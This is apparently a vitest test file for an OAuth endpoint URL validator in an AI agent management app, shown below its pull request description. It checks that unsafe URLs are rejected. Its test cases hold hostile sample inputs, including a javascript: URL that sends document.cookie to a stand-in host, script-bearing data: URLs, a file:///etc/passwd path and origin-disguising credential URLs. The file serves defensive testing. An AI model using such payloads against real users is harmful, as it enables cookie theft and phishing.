Files
PaperClipAI/packages/shared/src/oauth-endpoint-url.test.ts
T
DottaandPaperclip cabc9146d0 feat(apps): add secure remote MCP and PostHog setup (#12339)
## Thinking Path

> - Paperclip is the open source app people use to manage AI agents for
work.
> - Apps give those agents governed access to external tools.
> - Remote MCP setup needs secure endpoint validation and durable
credentials.
> - PostHog needs both browser sign-in and personal API key setup paths.
> - This pull request adds the shared remote MCP foundation and the
PostHog definition.
> - The benefit is a secure and reusable base for later app connection
work.

## Linked Issues or Issue Description

Refs #11965

This is stack 1 of 11. It replaces the first reviewable part of #11965.

## What Changed

- Add guarded remote MCP setup and credential handling.
- Add PostHog OAuth and API key connection methods.
- Add focused server, shared contract, and UI coverage.
- Keep the migration replay-safe and idempotent.
- Give the late-close security regression the same 10-second CI headroom
as the adjacent real-timer handshake test.
- Synchronize fake-timer handshake tests at the exact ensure-session
boundary so real filesystem setup cannot race the fake deadline.
- Drive PTY overflow coverage only after listener registration so
scheduling cannot reorder the test fixture.

## Verification

- pnpm exec vitest run
packages/adapter-utils/src/acpx-engine/execute.test.ts
server/src/__tests__/plugin-worker-manager.test.ts (220 passed; affected
cases also passed five focused stress repetitions)
- `pnpm exec vitest run
packages/adapter-utils/src/acpx-engine/execute.test.ts -t "never leaks a
sandbox-provided value from a late close rejection into logs or the
result"` (1 passed)
- `pnpm exec vitest run
packages/adapter-utils/src/acpx-engine/execute.test.ts -t "never
promotes a late ensureSession resolution|closes a late-resolving real
handle exactly once"` (2 passed)
- `pnpm -r typecheck`
- `pnpm --filter @paperclipai/server exec vitest run
src/__tests__/tool-access-service.test.ts`
- `pnpm --filter @paperclipai/db check:migrations`
- `pnpm build`

## Risks

- Remote endpoint validation can reject configurations that previously
passed without checks.
- OAuth configuration errors can block setup until the operator corrects
the provider settings.
- The migration uses guarded statements so repeated execution is safe.
- The test-only synchronization changes do not affect runtime behavior;
they remove filesystem/fake-clock and listener-registration races
observed under parallel CI load.

> I checked `ROADMAP.md`. This stack continues the existing app
connection work from #11965 and does not duplicate another planned item.

## Model Used

OpenAI Codex, GPT-5. The runtime model ID and context window were not
exposed. The model used reasoning, tool use, and code execution.

## Checklist

- [x] I have included a thinking path that traces from project context
to this change
- [x] I have specified the model used (with version and capability
details)
- [x] I have checked ROADMAP.md and confirmed this PR does not duplicate
planned core work
- [x] I have searched GitHub for duplicate or related PRs and linked
them above
- [x] I have either (a) linked existing issues with `Fixes: #` / `Closes
#` / `Refs #` OR (b) described the issue in-PR following the relevant
issue template
- [x] I have not referenced internal/instance-local Paperclip issues or
links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip`
URLs)
- [x] My branch name describes the change and contains no internal
Paperclip ticket id or instance-derived details
- [x] I have run tests locally and they pass
- [x] I have added or updated tests where applicable
- [x] I have updated relevant documentation to reflect my changes
- [x] I have considered and documented any risks above
- [x] All Paperclip CI gates are green
- [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups
- [x] I will address all Greptile and reviewer comments before
requesting merge

---------

Co-authored-by: Paperclip <noreply@paperclip.ing>
2026-08-29 12:08:32 -05:00

183 lines
7.2 KiB
TypeScript

import { describe, expect, it } from "vitest";
import {
checkOAuthEndpointUrl,
isSafeOAuthEndpointUrl,
oauthEndpointDisplayHost,
oauthEndpointUrlRejectionMessage,
} from "./oauth-endpoint-url.js";
describe("checkOAuthEndpointUrl", () => {
it("accepts an https endpoint and returns its normalized url and host", () => {
const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent");
expect(check).toEqual({
ok: true,
url: "https://auth.example.test/oauth/authorize?prompt=consent",
host: "auth.example.test",
});
});
it("keeps a non-default port in the displayed host", () => {
const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize");
expect(check.ok && check.host).toBe("auth.example.test:8443");
});
// The values a hostile MCP server would advertise to get code running in the
// board's origin or to read a local file.
it.each([
["javascript:alert(document.cookie)", "unsupported_scheme"],
["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"],
["data:text/html,<script>alert(1)</script>", "unsupported_scheme"],
["file:///etc/passwd", "unsupported_scheme"],
["vbscript:msgbox(1)", "unsupported_scheme"],
["about:blank", "unsupported_scheme"],
["blob:https://auth.example.test/1234", "unsupported_scheme"],
["chrome://settings", "unsupported_scheme"],
])("rejects %s", (value, reason) => {
expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason });
expect(isSafeOAuthEndpointUrl(value)).toBe(false);
});
it("rejects a scheme that only differs by case or padding", () => {
expect(checkOAuthEndpointUrl(" JavaScript:alert(1) ").ok).toBe(false);
expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" });
});
it("rejects plaintext http by default, loopback included", () => {
expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({
ok: false,
reason: "insecure_transport",
});
expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({
ok: false,
reason: "insecure_transport",
});
});
it("allows loopback http only under the local-development policy", () => {
const options = { allowInsecureLoopback: true };
for (const value of [
"http://localhost:3100/authorize",
"http://app.localhost:3100/authorize",
"http://127.0.0.1:3100/authorize",
"http://127.9.9.9:3100/authorize",
"http://[::1]:3100/authorize",
]) {
expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true);
}
});
it("still rejects non-loopback http under the local-development policy", () => {
for (const value of [
"http://auth.example.test/authorize",
"http://10.0.0.5/authorize",
// Hosts that only *look* loopback.
"http://127.0.0.1.evil.test/authorize",
"http://localhost.evil.test/authorize",
"http://notlocalhost/authorize",
]) {
expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({
ok: false,
reason: "insecure_transport",
});
}
});
it("allows plaintext http for Paperclip's own origin only", () => {
const options = { allowInsecureOrigins: ["http://paperclip.test"] };
expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true);
// Port and scheme are part of the origin, so a neighbour is not exempt.
expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({
ok: false,
reason: "insecure_transport",
});
expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({
ok: false,
reason: "insecure_transport",
});
// The exemption is about transport only: an unsafe scheme is still unsafe.
expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({
ok: false,
reason: "unsupported_scheme",
});
// A garbage entry in the exemption list cannot open anything up.
expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({
ok: false,
reason: "insecure_transport",
});
});
it("rejects embedded credentials that disguise the real origin", () => {
expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({
ok: false,
reason: "embedded_credentials",
});
expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({
ok: false,
reason: "embedded_credentials",
});
});
it("rejects a fragment", () => {
expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({
ok: false,
reason: "fragment",
});
});
it("rejects malformed and empty values", () => {
expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" });
expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" });
expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" });
// A special scheme with no authority is re-parsed by WHATWG as a hostname,
// so it lands on the transport rule rather than being treated as relative.
expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({
ok: false,
reason: "insecure_transport",
});
expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" });
expect(checkOAuthEndpointUrl(" ")).toEqual({ ok: false, reason: "missing" });
expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" });
expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({
ok: false,
reason: "missing",
});
});
});
describe("oauthEndpointUrlRejectionMessage", () => {
it("names the endpoint without echoing the untrusted value", () => {
const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme");
expect(message).toContain("sign-in");
expect(message).toContain("https");
expect(message).not.toContain("javascript");
});
it("covers every rejection reason for every endpoint kind", () => {
for (const kind of ["authorization", "token", "registration", "metadata"] as const) {
for (const reason of [
"missing",
"malformed",
"unsupported_scheme",
"insecure_transport",
"embedded_credentials",
"fragment",
] as const) {
expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0);
}
}
});
});
describe("oauthEndpointDisplayHost", () => {
it("returns the host for display", () => {
expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test");
expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443");
});
it("returns null for a value with no host", () => {
expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull();
expect(oauthEndpointDisplayHost("nonsense")).toBeNull();
expect(oauthEndpointDisplayHost(null)).toBeNull();
});
});